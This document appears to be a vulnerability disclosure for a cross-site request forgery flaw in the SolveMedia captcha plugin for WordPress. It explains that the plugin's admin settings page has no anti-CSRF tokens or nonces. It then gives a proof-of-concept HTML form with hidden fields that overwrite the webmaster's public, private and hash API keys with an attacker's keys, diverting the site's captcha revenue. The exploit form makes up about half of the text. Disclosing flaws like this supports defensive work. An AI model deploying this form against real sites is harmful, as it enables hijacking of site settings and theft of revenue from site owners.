//##### Introduction: 
SolveMedia is a capatcha service that allows webmasters to monetize
from correct captcha type-ins, solvemedia.admin.inc is vulnerable to CSRF,
there is no anti-CSRF tokens implemented nor is the wp-nonce function used,
therefore an attacker can change the webmasters SolveMedia API Keys (public key, 
private key, hash key) to the attackers own set of API keys thus stealing
the webmasters SolveMedia revenue.
-------------------------------------------------------------------------------------------------------------------------
//##### CSRF - Proof Of Concept:
<html>
<form  method="post" action="http://illsecure.com/wp-admin/plugins.php?page=solvemedia/solvemedia.admin.inc&updated=true">
<input name="adcopy_opt_pubkey" id="adcopy_opt_pubkey" size="40" value="[ ATTACKERS PUBLIC KEY ]" style="display:none;"/>                       
<input name="adcopy_opt_privkey" id="adcopy_opt_privkey" size="40" value="[ ATTACKERS PRIVATE KEY ]" style="display:none;"/>
<input name="adcopy_opt_hashkey" id="adcopy_opt_hashkey" size="40" value="[ ATTACKERS HASH KEY ]" style="display:none;" />
<input type="submit" name="submit" value="Enter" />
